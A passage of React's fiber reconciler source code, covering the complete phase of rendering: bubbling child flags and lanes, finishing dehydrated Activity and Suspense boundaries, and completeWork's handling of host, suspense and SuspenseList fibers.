updated if work is done on the fiber (i.e. it doesn't bailout).\n        // When work is done, it should bubble to the parent's actualDuration. If\n        // the fiber has not been cloned though, (meaning no work was done), then\n        // this value will reflect the amount of time spent working on a previous\n        // render. In that case it should not bubble. We determine whether it was\n        // cloned by comparing the child pointer.\n        // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n        actualDuration += child.actualDuration;\n\n        // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n        treeBaseDuration += child.treeBaseDuration;\n        child = child.sibling;\n      }\n\n      completedWork.actualDuration = actualDuration;\n      completedWork.treeBaseDuration = treeBaseDuration;\n    } else {\n      let child = completedWork.child;\n      while (child !== null) {\n        newChildLanes = mergeLanes(\n          newChildLanes,\n          mergeLanes(child.lanes, child.childLanes),\n        );\n\n        subtreeFlags |= child.subtreeFlags;\n        subtreeFlags |= child.flags;\n\n        // Update the return pointer so the tree is consistent. This is a code\n        // smell because it assumes the commit phase is never concurrent with\n        // the render phase. Will address during refactor to alternate model.\n        child.return = completedWork;\n\n        child = child.sibling;\n      }\n    }\n\n    completedWork.subtreeFlags |= subtreeFlags;\n  } else {\n    // Bubble up the earliest expiration time.\n    if (enableProfilerTimer && (completedWork.mode & ProfileMode) !== NoMode) {\n      // In profiling mode, resetChildExpirationTime is also used to reset\n      // profiler durations.\n      let treeBaseDuration = ((completedWork.selfBaseDuration: any): number);\n\n      let child = completedWork.child;\n      while (child !== null) {\n        newChildLanes = mergeLanes(\n          newChildLanes,\n          mergeLanes(child.lanes, child.childLanes),\n        );\n\n        // \"Static\" flags share the lifetime of the fiber/hook they belong to,\n        // so we should bubble those up even during a bailout. All the other\n        // flags have a lifetime only of a single render + commit, so we should\n        // ignore them.\n        subtreeFlags |= child.subtreeFlags & StaticMask;\n        subtreeFlags |= child.flags & StaticMask;\n\n        // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n        treeBaseDuration += child.treeBaseDuration;\n        child = child.sibling;\n      }\n\n      completedWork.treeBaseDuration = treeBaseDuration;\n    } else {\n      let child = completedWork.child;\n      while (child !== null) {\n        newChildLanes = mergeLanes(\n          newChildLanes,\n          mergeLanes(child.lanes, child.childLanes),\n        );\n\n        // \"Static\" flags share the lifetime of the fiber/hook they belong to,\n        // so we should bubble those up even during a bailout. All the other\n        // flags have a lifetime only of a single render + commit, so we should\n        // ignore them.\n        subtreeFlags |= child.subtreeFlags & StaticMask;\n        subtreeFlags |= child.flags & StaticMask;\n\n        // Update the return pointer so the tree is consistent. This is a code\n        // smell because it assumes the commit phase is never concurrent with\n        // the render phase. Will address during refactor to alternate model.\n        child.return = completedWork;\n\n        child = child.sibling;\n      }\n    }\n\n    completedWork.subtreeFlags |= subtreeFlags;\n  }\n\n  completedWork.childLanes = newChildLanes;\n\n  return didBailout;\n}\n\nfunction completeDehydratedActivityBoundary(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  nextState: ActivityState | null,\n): boolean {\n  const wasHydrated = popHydrationState(workInProgress);\n\n  if (nextState !== null) {\n    // We might be inside a hydration state the first time we're picking up this\n    // Activity boundary, and also after we've reentered it for further hydration.\n    if (current === null) {\n      if (!wasHydrated) {\n        throw new Error(\n          'A dehydrated suspense component was completed without a hydrated node. ' +\n            'This is probably a bug in React.',\n        );\n      }\n      prepareToHydrateHostActivityInstance(workInProgress);\n      bubbleProperties(workInProgress);\n      if (enableProfilerTimer) {\n        if ((workInProgress.mode & ProfileMode) !== NoMode) {\n          const isTimedOutSuspense = nextState !== null;\n          if (isTimedOutSuspense) {\n            // Don't count time spent in a timed out Suspense subtree as part of the base duration.\n            const primaryChildFragment = workInProgress.child;\n            if (primaryChildFragment !== null) {\n              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator\n              workInProgress.treeBaseDuration -=\n                ((primaryChildFragment.treeBaseDuration: any): number);\n            }\n          }\n        }\n      }\n      return false;\n    } else {\n      emitPendingHydrationWarnings();\n      // We might have reentered this boundary to hydrate it. If so, we need to reset the hydration\n      // state since we're now exiting out of it. popHydrationState doesn't do that for us.\n      resetHydrationState();\n      if ((workInProgress.flags & DidCapture) === NoFlags) {\n        // This boundary did not suspend so it's now hydrated and unsuspended.\n        nextState = workInProgress.memoizedState = null;\n      }\n      // If nothing suspended, we need to schedule an effect to mark this boundary\n      // as having hydrated so events know that they're free to be invoked.\n      // It's also a signal to replay events and the suspense callback.\n      // If something suspended, schedule an effect to attach retry listeners.\n      // So we might as well always mark this.\n      workInProgress.flags |= Update;\n      bubbleProperties(workInProgress);\n      if (enableProfilerTimer) {\n        if ((workInProgress.mode & ProfileMode) !== NoMode) {\n          const isTimedOutSuspense = nextState !== null;\n          if (isTimedOutSuspense) {\n            // Don't count time spent in a timed out Suspense subtree as part of the base duration.\n            const primaryChildFragment = workInProgress.child;\n            if (primaryChildFragment !== null) {\n              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator\n              workInProgress.treeBaseDuration -=\n                ((primaryChildFragment.treeBaseDuration: any): number);\n            }\n          }\n        }\n      }\n      return false;\n    }\n  } else {\n    // Successfully completed this tree. If this was a forced client render,\n    // there may have been recoverable errors during first hydration\n    // attempt. If so, add them to a queue so we can log them in the\n    // commit phase. We also add them to prev state so we can get to them\n    // from the Suspense Boundary.\n    const hydrationErrors = upgradeHydrationErrorsToRecoverable();\n    if (current !== null && current.memoizedState !== null) {\n      const prevState: ActivityState = current.memoizedState;\n      prevState.hydrationErrors = hydrationErrors;\n    }\n    // Fall through to normal Offscreen path\n    return true;\n  }\n}\n\nfunction completeDehydratedSuspenseBoundary(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  nextState: SuspenseState | null,\n): boolean {\n  const wasHydrated = popHydrationState(workInProgress);\n\n  if (nextState !== null && nextState.dehydrated !== null) {\n    // We might be inside a hydration state the first time we're picking up this\n    // Suspense boundary, and also after we've reentered it for further hydration.\n    if (current === null) {\n      if (!wasHydrated) {\n        throw new Error(\n          'A dehydrated suspense component was completed without a hydrated node. ' +\n            'This is probably a bug in React.',\n        );\n      }\n      prepareToHydrateHostSuspenseInstance(workInProgress);\n      bubbleProperties(workInProgress);\n      if (enableProfilerTimer) {\n        if ((workInProgress.mode & ProfileMode) !== NoMode) {\n          const isTimedOutSuspense = nextState !== null;\n          if (isTimedOutSuspense) {\n            // Don't count time spent in a timed out Suspense subtree as part of the base duration.\n            const primaryChildFragment = workInProgress.child;\n            if (primaryChildFragment !== null) {\n              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator\n              workInProgress.treeBaseDuration -=\n                ((primaryChildFragment.treeBaseDuration: any): number);\n            }\n          }\n        }\n      }\n      return false;\n    } else {\n      emitPendingHydrationWarnings();\n      // We might have reentered this boundary to hydrate it. If so, we need to reset the hydration\n      // state since we're now exiting out of it. popHydrationState doesn't do that for us.\n      resetHydrationState();\n      if ((workInProgress.flags & DidCapture) === NoFlags) {\n        // This boundary did not suspend so it's now hydrated and unsuspended.\n        nextState = workInProgress.memoizedState = null;\n      }\n      // If nothing suspended, we need to schedule an effect to mark this boundary\n      // as having hydrated so events know that they're free to be invoked.\n      // It's also a signal to replay events and the suspense callback.\n      // If something suspended, schedule an effect to attach retry listeners.\n      // So we might as well always mark this.\n      workInProgress.flags |= Update;\n      bubbleProperties(workInProgress);\n      if (enableProfilerTimer) {\n        if ((workInProgress.mode & ProfileMode) !== NoMode) {\n          const isTimedOutSuspense = nextState !== null;\n          if (isTimedOutSuspense) {\n            // Don't count time spent in a timed out Suspense subtree as part of the base duration.\n            const primaryChildFragment = workInProgress.child;\n            if (primaryChildFragment !== null) {\n              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator\n              workInProgress.treeBaseDuration -=\n                ((primaryChildFragment.treeBaseDuration: any): number);\n            }\n          }\n        }\n      }\n      return false;\n    }\n  } else {\n    // Successfully completed this tree. If this was a forced client render,\n    // there may have been recoverable errors during first hydration\n    // attempt. If so, add them to a queue so we can log them in the\n    // commit phase. We also add them to prev state so we can get to them\n    // from the Suspense Boundary.\n    const hydrationErrors = upgradeHydrationErrorsToRecoverable();\n    if (current !== null && current.memoizedState !== null) {\n      const prevState: SuspenseState = current.memoizedState;\n      prevState.hydrationErrors = hydrationErrors;\n    }\n    // Fall through to normal Suspense path\n    return true;\n  }\n}\n\nfunction completeWork(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): Fiber | null {\n  const newProps = workInProgress.pendingProps;\n  // Note: This intentionally doesn't check if we're hydrating because comparing\n  // to the current tree provider fiber is just as fast and less error-prone.\n  // Ideally we would have a special version of the work loop only\n  // for hydration.\n  popTreeContext(workInProgress);\n  switch (workInProgress.tag) {\n    case IncompleteFunctionComponent: {\n      if (disableLegacyMode) {\n        break;\n      }\n      // Fallthrough\n    }\n    case LazyComponent:\n    case SimpleMemoComponent:\n    case FunctionComponent:\n    case ForwardRef:\n    case Fragment:\n    case Mode:\n    case Profiler:\n    case ContextConsumer:\n    case MemoComponent:\n      bubbleProperties(workInProgress);\n      return null;\n    case ClassComponent: {\n      const Component = workInProgress.type;\n      if (isLegacyContextProvider(Component)) {\n        popLegacyContext(workInProgress);\n      }\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case HostRoot: {\n      const fiberRoot = (workInProgress.stateNode: FiberRoot);\n\n      if (enableTransitionTracing) {\n        const transitions = getWorkInProgressTransitions();\n        // We set the Passive flag here because if there are new transitions,\n        // we will need to schedule callbacks and process the transitions,\n        // which we do in the passive phase\n        if (transitions !== null) {\n          workInProgress.flags |= Passive;\n        }\n      }\n\n      let previousCache: Cache | null = null;\n      if (current !== null) {\n        previousCache = current.memoizedState.cache;\n      }\n      const cache: Cache = workInProgress.memoizedState.cache;\n      if (cache !== previousCache) {\n        // Run passive effects to retain/release the cache.\n        workInProgress.flags |= Passive;\n      }\n      popCacheProvider(workInProgress, cache);\n\n      if (enableTransitionTracing) {\n        popRootMarkerInstance(workInProgress);\n      }\n\n      popRootTransition(workInProgress, fiberRoot, renderLanes);\n      popHostContainer(workInProgress);\n      popTopLevelLegacyContextObject(workInProgress);\n      if (fiberRoot.pendingContext) {\n        fiberRoot.context = fiberRoot.pendingContext;\n        fiberRoot.pendingContext = null;\n      }\n      if (current === null || current.child === null) {\n        // If we hydrated, pop so that we can delete any remaining children\n        // that weren't hydrated.\n        const wasHydrated = popHydrationState(workInProgress);\n        if (wasHydrated) {\n          emitPendingHydrationWarnings();\n          // If we hydrated, then we'll need to schedule an update for\n          // the commit side-effects on the root.\n          markUpdate(workInProgress);\n        } else {\n          if (current !== null) {\n            const prevState: RootState = current.memoizedState;\n            if (\n              // Check if this is a client root\n              !prevState.isDehydrated ||\n              // Check if we reverted to client rendering (e.g. due to an error)\n              (workInProgress.flags & ForceClientRender) !== NoFlags\n            ) {\n              // Schedule an effect to clear this container at the start of the\n              // next commit. This handles the case of React rendering into a\n              // container with previous children. It's also safe to do for\n              // updates too, because current.child would only be null if the\n              // previous render was null (so the container would already\n              // be empty).\n              workInProgress.flags |= Snapshot;\n\n              // If this was a forced client render, there may have been\n              // recoverable errors during first hydration attempt. If so, add\n              // them to a queue so we can log them in the commit phase.\n              upgradeHydrationErrorsToRecoverable();\n            }\n          }\n        }\n      }\n      updateHostContainer(current, workInProgress);\n      bubbleProperties(workInProgress);\n      if (enableTransitionTracing) {\n        if ((workInProgress.subtreeFlags & Visibility) !== NoFlags) {\n          // If any of our suspense children toggle visibility, this means that\n          // the pending boundaries array needs to be updated, which we only\n          // do in the passive phase.\n          workInProgress.flags |= Passive;\n        }\n      }\n      return null;\n    }\n    case HostHoistable: {\n      if (supportsResources) {\n        // The branching here is more complicated than you might expect because\n        // a HostHoistable sometimes corresponds to a Resource and sometimes\n        // corresponds to an Instance. It can also switch during an update.\n\n        const type = workInProgress.type;\n        const nextResource: Resource | null = workInProgress.memoizedState;\n        if (current === null) {\n          // We are mounting and must Update this Hoistable in this commit\n          // @TODO refactor this block to create the instance here in complete\n          // phase if we are not hydrating.\n          markUpdate(workInProgress);\n          if (nextResource !== null) {\n            // This is a Hoistable Resource\n\n            // This must come at the very end of the complete phase.\n            bubbleProperties(workInProgress);\n            preloadResourceAndSuspendIfNeeded(\n              workInProgress,\n              nextResource,\n              type,\n              newProps,\n              renderLanes,\n            );\n            return null;\n          } else {\n            // This is a Hoistable Instance\n            // This must come at the very end of the complete phase.\n            bubbleProperties(workInProgress);\n            preloadInstanceAndSuspendIfNeeded(\n              workInProgress,\n              type,\n              null,\n              newProps,\n              renderLanes,\n            );\n            return null;\n          }\n        } else {\n          // This is an update.\n          if (nextResource) {\n            // This is a Resource\n            if (nextResource !== current.memoizedState) {\n              // we have a new Resource. we need to update\n              markUpdate(workInProgress);\n              // This must come at the very end of the complete phase.\n              bubbleProperties(workInProgress);\n              // This must come at the very end of the complete phase, because it might\n              // throw to suspend, and if the resource immediately loads, the work loop\n              // will resume rendering as if the work-in-progress completed. So it must\n              // fully complete.\n              preloadResourceAndSuspendIfNeeded(\n                workInProgress,\n                nextResource,\n                type,\n                newProps,\n                renderLanes,\n              );\n              return null;\n            } else {\n              // This must come at the very end of the complete phase.\n              bubbleProperties(workInProgress);\n              workInProgress.flags &= ~MaySuspendCommit;\n              return null;\n            }\n          } else {\n            const oldProps = current.memoizedProps;\n            // This is an Instance\n            // We may have props to update on the Hoistable instance.\n            if (supportsMutation) {\n              if (oldProps !== newProps) {\n                markUpdate(workInProgress);\n              }\n            } else {\n              // We use the updateHostComponent path because it produces\n              // the update queue we need for Hoistables.\n              updateHostComponent(\n                current,\n                workInProgress,\n                type,\n                newProps,\n                renderLanes,\n              );\n            }\n            // This must come at the very end of the complete phase.\n            bubbleProperties(workInProgress);\n            preloadInstanceAndSuspendIfNeeded(\n              workInProgress,\n              type,\n              oldProps,\n              newProps,\n              renderLanes,\n            );\n            return null;\n          }\n        }\n      }\n      // Fall through\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        popHostContext(workInProgress);\n        const rootContainerInstance = getRootHostContainer();\n        const type = workInProgress.type;\n        if (current !== null && workInProgress.stateNode != null) {\n          if (supportsMutation) {\n            const oldProps = current.memoizedProps;\n            if (oldProps !== newProps) {\n              markUpdate(workInProgress);\n            }\n          } else {\n            updateHostComponent(\n              current,\n              workInProgress,\n              type,\n              newProps,\n              renderLanes,\n            );\n          }\n        } else {\n          if (!newProps) {\n            if (workInProgress.stateNode === null) {\n              throw new Error(\n                'We must have new props for new mounts. This error is likely ' +\n                  'caused by a bug in React. Please file an issue.',\n              );\n            }\n\n            // This can happen when we abort work.\n            bubbleProperties(workInProgress);\n            if (enableViewTransition) {\n              // Host Components act as their own View Transitions which doesn't run enter/exit animations.\n              // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.\n              workInProgress.subtreeFlags &= ~ViewTransitionStatic;\n            }\n            return null;\n          }\n\n          const currentHostContext = getHostContext();\n          const wasHydrated = popHydrationState(workInProgress);\n          let instance: Instance;\n          if (wasHydrated) {\n            // We ignore the boolean indicating there is an updateQueue because\n            // it is used only to set text children and HostSingletons do not\n            // use them.\n            prepareToHydrateHostInstance(workInProgress, currentHostContext);\n            instance = workInProgress.stateNode;\n          } else {\n            instance = resolveSingletonInstance(\n              type,\n              newProps,\n              rootContainerInstance,\n              currentHostContext,\n              true,\n            );\n            workInProgress.stateNode = instance;\n            markUpdate(workInProgress);\n          }\n        }\n        bubbleProperties(workInProgress);\n        if (enableViewTransition) {\n          // Host Components act as their own View Transitions which doesn't run enter/exit animations.\n          // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.\n          workInProgress.subtreeFlags &= ~ViewTransitionStatic;\n        }\n        return null;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      popHostContext(workInProgress);\n      const type = workInProgress.type;\n      if (current !== null && workInProgress.stateNode != null) {\n        updateHostComponent(\n          current,\n          workInProgress,\n          type,\n          newProps,\n          renderLanes,\n        );\n      } else {\n        if (!newProps) {\n          if (workInProgress.stateNode === null) {\n            throw new Error(\n              'We must have new props for new mounts. This error is likely ' +\n                'caused by a bug in React. Please file an issue.',\n            );\n          }\n\n          // This can happen when we abort work.\n          bubbleProperties(workInProgress);\n          if (enableViewTransition) {\n            // Host Components act as their own View Transitions which doesn't run enter/exit animations.\n            // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.\n            workInProgress.subtreeFlags &= ~ViewTransitionStatic;\n          }\n          return null;\n        }\n\n        const currentHostContext = getHostContext();\n        // TODO: Move createInstance to beginWork and keep it on a context\n        // \"stack\" as the parent. Then append children as we go in beginWork\n        // or completeWork depending on whether we want to add them top->down or\n        // bottom->up. Top->down is faster in IE11.\n        const wasHydrated = popHydrationState(workInProgress);\n        if (wasHydrated) {\n          // TODO: Move this and createInstance step into the beginPhase\n          // to consolidate.\n          prepareToHydrateHostInstance(workInProgress, currentHostContext);\n          if (\n            finalizeHydratedChildren(\n              workInProgress.stateNode,\n              type,\n              newProps,\n              currentHostContext,\n            )\n          ) {\n            workInProgress.flags |= Hydrate;\n          }\n        } else {\n          const rootContainerInstance = getRootHostContainer();\n          const instance = createInstance(\n            type,\n            newProps,\n            rootContainerInstance,\n            currentHostContext,\n            workInProgress,\n          );\n          // TODO: For persistent renderers, we should pass children as part\n          // of the initial instance creation\n          markCloned(workInProgress);\n          appendAllChildren(instance, workInProgress, false, false);\n          workInProgress.stateNode = instance;\n\n          // Certain renderers require commit-time effects for initial mount.\n          // (eg DOM renderer supports auto-focus for certain elements).\n          // Make sure such renderers get scheduled for later work.\n          if (\n            finalizeInitialChildren(\n              instance,\n              type,\n              newProps,\n              currentHostContext,\n            )\n          ) {\n            markUpdate(workInProgress);\n          }\n        }\n      }\n      bubbleProperties(workInProgress);\n      if (enableViewTransition) {\n        // Host Components act as their own View Transitions which doesn't run enter/exit animations.\n        // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.\n        workInProgress.subtreeFlags &= ~ViewTransitionStatic;\n      }\n\n      // This must come at the very end of the complete phase, because it might\n      // throw to suspend, and if the resource immediately loads, the work loop\n      // will resume rendering as if the work-in-progress completed. So it must\n      // fully complete.\n      preloadInstanceAndSuspendIfNeeded(\n        workInProgress,\n        workInProgress.type,\n        current === null ? null : current.memoizedProps,\n        workInProgress.pendingProps,\n        renderLanes,\n      );\n      return null;\n    }\n    case HostText: {\n      const newText = newProps;\n      if (current && workInProgress.stateNode != null) {\n        const oldText = current.memoizedProps;\n        // If we have an alternate, that means this is an update and we need\n        // to schedule a side-effect to do the updates.\n        updateHostText(current, workInProgress, oldText, newText);\n      } else {\n        if (typeof newText !== 'string') {\n          if (workInProgress.stateNode === null) {\n            throw new Error(\n              'We must have new props for new mounts. This error is likely ' +\n                'caused by a bug in React. Please file an issue.',\n            );\n          }\n          // This can happen when we abort work.\n        }\n        const rootContainerInstance = getRootHostContainer();\n        const currentHostContext = getHostContext();\n        const wasHydrated = popHydrationState(workInProgress);\n        if (wasHydrated) {\n          prepareToHydrateHostTextInstance(workInProgress);\n        } else {\n          markCloned(workInProgress);\n          workInProgress.stateNode = createTextInstance(\n            newText,\n            rootContainerInstance,\n            currentHostContext,\n            workInProgress,\n          );\n        }\n      }\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case ActivityComponent: {\n      const nextState: null | ActivityState = workInProgress.memoizedState;\n\n      if (current === null || current.memoizedState !== null) {\n        const fallthroughToNormalOffscreenPath =\n          completeDehydratedActivityBoundary(\n            current,\n            workInProgress,\n            nextState,\n          );\n        if (!fallthroughToNormalOffscreenPath) {\n          if (workInProgress.flags & ForceClientRender) {\n            popSuspenseHandler(workInProgress);\n            // Special case. There were remaining unhydrated nodes. We treat\n            // this as a mismatch. Revert to client rendering.\n            return workInProgress;\n          } else {\n            popSuspenseHandler(workInProgress);\n            // Did not finish hydrating, either because this is the initial\n            // render or because something suspended.\n            return null;\n          }\n        }\n\n        if ((workInProgress.flags & DidCapture) !== NoFlags) {\n          // We called retryActivityComponentWithoutHydrating and tried client rendering\n          // but now we suspended again. We should never arrive here because we should\n          // not have pushed a suspense handler during that second pass and it should\n          // instead have suspended above.\n          throw new Error(\n            'Client rendering an Activity suspended it again. This is a bug in React.',\n          );\n        }\n\n        // Continue with the normal Activity path.\n      }\n\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case SuspenseComponent: {\n      const nextState: null | SuspenseState = workInProgress.memoizedState;\n\n      // Special path for dehydrated boundaries. We may eventually move this\n      // to its own fiber type so that we can add other kinds of hydration\n      // boundaries that aren't associated with a Suspense tree. In anticipation\n      // of such a refactor, all the hydration logic is contained in\n      // this branch.\n      if (\n        current === null ||\n        (current.memoizedState !== null &&\n          current.memoizedState.dehydrated !== null)\n      ) {\n        const fallthroughToNormalSuspensePath =\n          completeDehydratedSuspenseBoundary(\n            current,\n            workInProgress,\n            nextState,\n          );\n        if (!fallthroughToNormalSuspensePath) {\n          if (workInProgress.flags & ForceClientRender) {\n            popSuspenseHandler(workInProgress);\n            // Special case. There were remaining unhydrated nodes. We treat\n            // this as a mismatch. Revert to client rendering.\n            return workInProgress;\n          } else {\n            popSuspenseHandler(workInProgress);\n            // Did not finish hydrating, either because this is the initial\n            // render or because something suspended.\n            return null;\n          }\n        }\n\n        // Continue with the normal Suspense path.\n      }\n\n      popSuspenseHandler(workInProgress);\n\n      if ((workInProgress.flags & DidCapture) !== NoFlags) {\n        // Something suspended. Re-render with the fallback children.\n        workInProgress.lanes = renderLanes;\n        if (\n          enableProfilerTimer &&\n          (workInProgress.mode & ProfileMode) !== NoMode\n        ) {\n          transferActualDuration(workInProgress);\n        }\n        // Don't bubble properties in this case.\n        return workInProgress;\n      }\n\n      const nextDidTimeout = nextState !== null;\n      const prevDidTimeout =\n        current !== null &&\n        (current.memoizedState: null | SuspenseState) !== null;\n\n      if (nextDidTimeout) {\n        const offscreenFiber: Fiber = (workInProgress.child: any);\n        let previousCache: Cache | null = null;\n        if (\n          offscreenFiber.alternate !== null &&\n          offscreenFiber.alternate.memoizedState !== null &&\n          offscreenFiber.alternate.memoizedState.cachePool !== null\n        ) {\n          previousCache = offscreenFiber.alternate.memoizedState.cachePool.pool;\n        }\n        let cache: Cache | null = null;\n        if (\n          offscreenFiber.memoizedState !== null &&\n          offscreenFiber.memoizedState.cachePool !== null\n        ) {\n          cache = offscreenFiber.memoizedState.cachePool.pool;\n        }\n        if (cache !== previousCache) {\n          // Run passive effects to retain/release the cache.\n          offscreenFiber.flags |= Passive;\n        }\n      }\n\n      // If the suspended state of the boundary changes, we need to schedule\n      // a passive effect, which is when we process the transitions\n      if (nextDidTimeout !== prevDidTimeout) {\n        if (enableTransitionTracing) {\n          const offscreenFiber: Fiber = (workInProgress.child: any);\n          offscreenFiber.flags |= Passive;\n        }\n\n        // If the suspended state of the boundary changes, we need to schedule\n        // an effect to toggle the subtree's visibility. When we switch from\n        // fallback -> primary, the inner Offscreen fiber schedules this effect\n        // as part of its normal complete phase. But when we switch from\n        // primary -> fallback, the inner Offscreen fiber does not have a complete\n        // phase. So we need to schedule its effect here.\n        //\n        // We also use this flag to connect/disconnect the effects, but the same\n        // logic applies: when re-connecting, the Offscreen fiber's complete\n        // phase will handle scheduling the effect. It's only when the fallback\n        // is active that we have to do anything special.\n        if (nextDidTimeout) {\n          const offscreenFiber: Fiber = (workInProgress.child: any);\n          offscreenFiber.flags |= Visibility;\n        }\n      }\n\n      const retryQueue: RetryQueue | null = (workInProgress.updateQueue: any);\n      scheduleRetryEffect(workInProgress, retryQueue);\n\n      if (\n        enableSuspenseCallback &&\n        workInProgress.updateQueue !== null &&\n        workInProgress.memoizedProps.suspenseCallback != null\n      ) {\n        // Always notify the callback\n        // TODO: Move to passive phase\n        workInProgress.flags |= Update;\n      }\n      bubbleProperties(workInProgress);\n      if (enableProfilerTimer) {\n        if ((workInProgress.mode & ProfileMode) !== NoMode) {\n          if (nextDidTimeout) {\n            // Don't count time spent in a timed out Suspense subtree as part of the base duration.\n            const primaryChildFragment = workInProgress.child;\n            if (primaryChildFragment !== null) {\n              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator\n              workInProgress.treeBaseDuration -=\n                ((primaryChildFragment.treeBaseDuration: any): number);\n            }\n          }\n        }\n      }\n      return null;\n    }\n    case HostPortal:\n      popHostContainer(workInProgress);\n      updateHostContainer(current, workInProgress);\n      if (current === null) {\n        preparePortalMount(workInProgress.stateNode.containerInfo);\n      }\n      workInProgress.flags |= PortalStatic;\n      bubbleProperties(workInProgress);\n      return null;\n    case ContextProvider:\n      // Pop provider fiber\n      const context: ReactContext<any> = workInProgress.type;\n      popProvider(context, workInProgress);\n      bubbleProperties(workInProgress);\n      return null;\n    case IncompleteClassComponent: {\n      if (disableLegacyMode) {\n        break;\n      }\n      // Same as class component case. I put it down here so that the tags are\n      // sequential to ensure this switch is compiled to a jump table.\n      const Component = workInProgress.type;\n      if (isLegacyContextProvider(Component)) {\n        popLegacyContext(workInProgress);\n      }\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case SuspenseListComponent: {\n      popSuspenseListContext(workInProgress);\n\n      const renderState: null | SuspenseListRenderState =\n        workInProgress.memoizedState;\n\n      if (renderState === null) {\n        // We're running in the default, \"independent\" mode.\n        // We don't do anything in this mode.\n        bubbleProperties(workInProgress);\n        return null;\n      }\n\n      let didSuspendAlready = (workInProgress.flags & DidCapture) !== NoFlags;\n\n      const renderedTail = renderState.rendering;\n      if (renderedTail === null) {\n        // We just rendered the head.\n        if (!didSuspendAlready) {\n          // This is the first pass. We need to figure out if anything is still\n          // suspended in the rendered set.\n\n          // If new content unsuspended, but there's still some content that\n          // didn't. Then we need to do a second pass that forces everything\n          // to keep showing their fallbacks.\n\n          // We might be suspended if something in this render pass suspended, or\n          // something in the previous committed pass suspended. Otherwise,\n          // there's no chance so we can skip the expensive call to\n          // findFirstSuspended.\n          const cannotBeSuspended =\n            renderHasNotSuspendedYet() &&\n            (current === null || (current.flags & DidCapture) === NoFlags);\n          if (!cannotBeSuspended) {\n            let row = workInProgress.child;\n            while (row !== null) {\n              const suspended = findFirstSuspended(row);\n              if (suspended !== null) {\n                didSuspendAlready = true;\n                workInProgress.flags |= DidCapture;\n                cutOffTailIfNeeded(renderState, false);\n\n                // If this is a newly suspended tree, it might not get committed as\n                // part of the second pass. In that case nothing will subscribe to\n                // its thenables. Instead, we'll transfer its thenables to the\n                // SuspenseList so that it can retry if they resolve.\n                // There might be multiple of these in the list but since we're\n                // going to wait for all of them anyway, it doesn't really matter\n                // which ones gets to ping. In theory we could get clever and keep\n                // track of how many dependencies remain but it gets tricky because\n                // in the meantime, we can add/remove/change items and dependencies.\n                // We might bail out of the loop before finding any but that\n                // doesn't matter since that means that the other boundaries that\n                // we did find already has their listeners attached.\n                const retryQueue: RetryQueue | null =\n                  (suspended.updateQueue: any);\n                workInProgress.updateQueue = retryQueue;\n                scheduleRetryEffect(workInProgress, retryQueue);\n\n                // Rerender the whole list, but this time, we'll force fallbacks\n                // to stay in place.\n                // Reset the effect flags before doing the second pass since that's now invalid.\n                // Reset the child fibers to their original state.\n                workInProgress.subtreeFlags = NoFlags;\n                resetChildFibers(workInProgress, renderLanes);\n\n                // Set up the Suspense List Context to force suspense and\n                // immediately rerender the children.\n                pushSuspenseListContext(\n                  workInProgress,\n                  setShallowSuspenseListContext(\n                    suspenseStackCursor.current,\n                    ForceSuspenseFallback,\n                  ),\n                );\n                if (getIsHydrating()) {\n                  // Re-apply tree fork since we popped the tree fork context in the beginning of this function.\n                  pushTreeFork(workInProgress, renderState.treeForkCount);\n                }\n                // Don't bubble properties in this case.\n                return workInProgress.child;\n              }\n              row = row.sibling;\n            }\n          }\n\n          if (renderState.tail !== null && now() > getRenderTargetTime()) {\n            // We have already passed our CPU deadline but we still have rows\n            // left in the tail. We'll just give up further attempts to render\n            // the main content and only render fallbacks.\n            workInProgress.flags |= DidCapture;\n            didSuspendAlready = true;\n\n            cutOffTailIfNeeded(renderState, false);\n\n            // Since nothing actually suspended, there will nothing to ping this\n            // to get it started back up to attempt the next item. While in terms\n            // of priority this work has the same priority as this current render,\n            // it's not part of the same transition once the transition has\n            // committed. If it's sync, we still want to yield so that it can be\n            // painted. Conceptually, this is really the same as pinging.\n            // We can use any RetryLane even if it's the one currently rendering\n            // since we're leaving it behind on this node.\n            workInProgress.lanes = SomeRetryLane;\n          }\n        } else {\n          cutOffTailIfNeeded(renderState, false);\n        }\n        // Next we're going to render the tail.\n      } else {\n        // Append the rendered row to the child list.\n        if (!didSuspendAlready) {\n          const suspended = findFirstSuspended(renderedTail);\n          if (suspended !== null) {\n            workInProgress.flags |= DidCapture;\n            didSuspendAlready = true;\n\n            // Ensure we transfer the update queue to the parent so that it doesn't\n            // get lost if this row ends up dropped during a second pass.\n            const retryQueue: RetryQueue | null = (suspended.updateQueue: any);\n            workInProgress.updateQueue = retryQueue;\n            scheduleRetryEffect(workInProgress, retryQueue);\n\n            cutOffTailIfNeeded(renderState, true);\n            // This might have been modified.\n            if (\n              renderState.tail === null &&\n              renderState.tailMode !== 'collapsed' &&\n              renderState.tailMode !== 'visible' &&\n              !renderedTail.alternate &&\n              !getIsHydrating() // We don't cut it if we're hydrating.\n            ) {\n              // We're done.\n              bubbleProperties(workInProgress);\n              return null;\n            }\n          } else if (\n            // The time it took to render last row is greater than the remaining\n            // time we have to render. So rendering one more row would likely\n            // exceed it.\n            now() * 2 - renderState.renderingStartTime >\n              getRenderTargetTime() &&\n            renderLanes !== OffscreenLane\n          ) {\n            // We have now passed our CPU deadline and we'll just give up further\n            // attempts to render the main content and only render fallbacks.\n            // The assumption is that this is usually faster.\n            workInProgress.flags |= DidCapture;\n            